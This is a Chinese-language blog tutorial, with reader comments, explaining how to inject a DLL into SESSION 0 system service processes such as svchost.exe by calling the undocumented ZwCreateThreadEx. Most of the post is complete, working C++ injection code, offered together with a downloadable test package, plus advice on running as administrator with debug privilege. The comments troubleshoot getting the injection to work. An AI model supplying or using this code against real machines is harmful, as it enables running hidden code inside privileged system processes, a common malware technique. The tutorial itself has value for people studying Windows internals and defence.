突破SESSION0隔离的的远线程注入DLL技术剖析

Leftme

发布日期: 2019-01-12 20:44:42 浏览量: 1208
评分:
star star star star star star star star star_border star_border
*转载请注明来自write-bug.com

背景

之前写过 “传统的远线程注入DLL技术剖析“ 这篇文章,里面主要介绍使用传统的 CreateRemoteThread 函数来实现向指定进程注入 DLL。但是,这种方法有一个问题就是,不能突破 SESSION 0 隔离。也就是不能成功将指定 DLL 注入到系统服务进程中。

现在,我们来介绍另一种的远线程注入 DLL,它可以突破 SESSION 0 隔离,成功注入 DLL。现在我就把实现过程和原理整理成文档,分享给大家。

实现原理

和传统的 CreateRemoteThread 函数实现的远线程注入 DLL 的唯一一个区别就是,我们这次是使用 Z我Create ThreadEx 函数来实现创建远线程。其它的均和传统的实现方法是一样的,原理也是一样的。

使用 ZwCreateThreadEx 函数可以突破 SESSION 0 隔离,成功将 DLL 注入到 SESSION 0 的系统服务进程中。其中,ZwCreateThreadEx 在 ntdll.dll 中并没有声明,所以我们需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。

64 位下,ZwCreateThreadEx 函数声明为:

  1. DWORD WINAPI ZwCreateThreadEx(
  2. PHANDLE ThreadHandle,
  3. ACCESS_MASK DesiredAccess,
  4. LPVOID ObjectAttributes,
  5. HANDLE ProcessHandle,
  6. LPTHREAD_START_ROUTINE lpStartAddress,
  7. LPVOID lpParameter,
  8. ULONG CreateThreadFlags,
  9. SIZE_T ZeroBits,
  10. SIZE_T StackSize,
  11. SIZE_T MaximumStackSize,
  12. LPVOID pUnkown);

32 位下,ZwCreateThreadEx 函数声明为:

  1. DWORD WINAPI ZwCreateThreadEx(
  2. PHANDLE ThreadHandle,
  3. ACCESS_MASK DesiredAccess,
  4. LPVOID ObjectAttributes,
  5. HANDLE ProcessHandle,
  6. LPTHREAD_START_ROUTINE lpStartAddress,
  7. LPVOID lpParameter,
  8. BOOL CreateSuspended,
  9. DWORD dwStackSize,
  10. DWORD dw1,
  11. DWORD dw2,
  12. LPVOID pUnkown);

编码实现

  1. // 使用 ZwCreateThreadEx 实现远线程注入
  2. BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char *pszDllFileName)
  3. {
  4. HANDLE hProcess = NULL;
  5. SIZE_T dwSize = 0;
  6. LPVOID pDllAddr = NULL;
  7. FARPROC pFuncProcAddr = NULL;
  8. HANDLE hRemoteThread = NULL;
  9. DWORD dwStatus = 0;
  10. // 打开注入进程,获取进程句柄
  11. hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
  12. if (NULL == hProcess)
  13. {
  14. ShowError("OpenProcess");
  15. return FALSE;
  16. }
  17. // 在注入进程中申请内存
  18. dwSize = 1 + ::lstrlen(pszDllFileName);
  19. pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
  20. if (NULL == pDllAddr)
  21. {
  22. ShowError("VirtualAllocEx");
  23. return FALSE;
  24. }
  25. // 向申请的内存中写入数据
  26. if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
  27. {
  28. ShowError("WriteProcessMemory");
  29. return FALSE;
  30. }
  31. // 加载 ntdll.dll
  32. HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
  33. if (NULL == hNtdllDll)
  34. {
  35. ShowError("LoadLirbary");
  36. return FALSE;
  37. }
  38. // 获取LoadLibraryA函数地址
  39. pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
  40. if (NULL == pFuncProcAddr)
  41. {
  42. ShowError("GetProcAddress_LoadLibraryA");
  43. return FALSE;
  44. }
  45. // 获取ZwCreateThread函数地址
  46. #ifdef _WIN64
  47. typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
  48. PHANDLE ThreadHandle,
  49. ACCESS_MASK DesiredAccess,
  50. LPVOID ObjectAttributes,
  51. HANDLE ProcessHandle,
  52. LPTHREAD_START_ROUTINE lpStartAddress,
  53. LPVOID lpParameter,
  54. ULONG CreateThreadFlags,
  55. SIZE_T ZeroBits,
  56. SIZE_T StackSize,
  57. SIZE_T MaximumStackSize,
  58. LPVOID pUnkown);
  59. #else
  60. typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
  61. PHANDLE ThreadHandle,
  62. ACCESS_MASK DesiredAccess,
  63. LPVOID ObjectAttributes,
  64. HANDLE ProcessHandle,
  65. LPTHREAD_START_ROUTINE lpStartAddress,
  66. LPVOID lpParameter,
  67. BOOL CreateSuspended,
  68. DWORD dwStackSize,
  69. DWORD dw1,
  70. DWORD dw2,
  71. LPVOID pUnkown);
  72. #endif
  73. typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
  74. if (NULL == ZwCreateThreadEx)
  75. {
  76. ShowError("GetProcAddress_ZwCreateThread");
  77. return FALSE;
  78. }
  79. // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
  80. dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
  81. if (NULL == hRemoteThread)
  82. {
  83. ShowError("ZwCreateThreadEx");
  84. return FALSE;
  85. }
  86. // 关闭句柄
  87. ::CloseHandle(hProcess);
  88. ::FreeLibrary(hNtdllDll);
  89. return TRUE;
  90. }

程序测试

我们对 svchost.exe 进程,处于 SESSION 0 中,以管理员权限运行我们的程序,注入我们的测试 DLL,DLL 成功注入到 svchost.exe 进程空间中:

总结

要注意以管理员权限运行程序,因为由于 OpenProcess 函数的缘故,打开高权限的进程时,会因进程权限不足而无法打开进程,获取进程句柄。其中,我们将当前进程令牌权限提升至 SE_DEBUG_NAME权限,具体的进程令牌权限提升可以参考 “使用AdjustTokenPrivileges函数提升进程访问令牌的权限“ 这篇文章。

与传统的 CreateRemoteThread 相比,就是创建远线程时使用的函数不同之外,其它都是相同的,而且原理部分也是相同的。

其中,要特别注意一点就是,ZwCreateThreadEx 函数在 32 位和 64 位系统下,它的函数声明中的参数是有区别的,一定要区分开来。

参考

参考自《Windows黑客编程技术详解》一书

上传的附件 cloud_download ZwCreateThreadEx_Test.7z ( 364.04kb, 7次下载 )

keyboard_arrow_left上一篇 : EXE加载模拟器直接在内存中加载运行EXE不通过API创建进程运行 使用GetRawInputData函数实现键盘按键记录 : 下一篇keyboard_arrow_right



Leftme
2019-01-12 20:45:03
突破SESSION0隔离的的远线程注入DLL技术剖析
325
2019-03-08 12:28:25
提权的时候报这个错误 ERROR_NOT_ALL_ASSIGNED 而且代码里面没搜到svchost 环境 vs3012+win10 64
325
2019-03-08 15:09:55
抱歉 是我搞错了。 程序里面没做获取pid功能, 需要自己修改pid
325
2019-03-09 18:23:32
你好 这样好像只支持win32的 x64编译不过
wula0010
2019-03-10 13:31:18
在网站https://www.epubit.com/下载的《Windows黑客编程技术详解》源码,全局钩子注入成功,远线程注入、突破SESSION0隔离的远线程注入、APC注入都不成功。环境win7,32bit, vs2013。 远线程注入、突破SESSION0隔离的远线程注入根据procexp.exe查看进程的processid,根据这个修改了程序还是不行。程序运行都是提示注入成功,但是没有弹出消息窗口, 用procexp.exe查看, 也没发现TestDll.dll调用。请帮助解答下,或者留个联系方式?qq或者微信?本人qq:25057750,谢谢!
wula0010
2019-03-11 16:39:21
有没有谁一起看《Windows黑客编程技术详解》的?大家建个qq群一起学习怎样?有愿意的联系我qq:25057750
wula0010
2019-03-11 16:41:20
给站长一个建议:在这里留言提交后,鼠标一直在转, 我以为还在提交中,其实已经提交成功了。这个bug改下吧,体验太差。
wula0010
2019-03-14 11:44:29
经过研究, 远线程注入终于成功了!有两点需要注意:1、dll路径, 项目生成后Test.dll文件的路径在Debug目录下,和原程序中的路径不一样, 在这里要写入绝对路径, 我的是:BOOL bRet = CreateRemoteThreadInjectDll(6220, "E:\\tools_vc++\\WINDOWS黑客编程技术详解-配套代码\\WINDOWS黑客编程技术详解-配套代码\\用户层\\3\\远线程注入\\CreateRemoteThread_Test\\Debug\\TestDll.dll");相对路径是不能成功的, 除非放到系统环境变量的path指定的路径下, 这个是要让被注入的程序能找到dll, 写相对路径,是相对注入程序的, 被注入程序是找不到dll的。 2、dwProcessId要根据process explorer里查。
wula0010
2019-03-14 12:07:35
APC注入后,explorer直接崩溃重新启动.........

发送私信

告别错的,方可遇见对的

13
文章数
14
评论数
最近文章
eject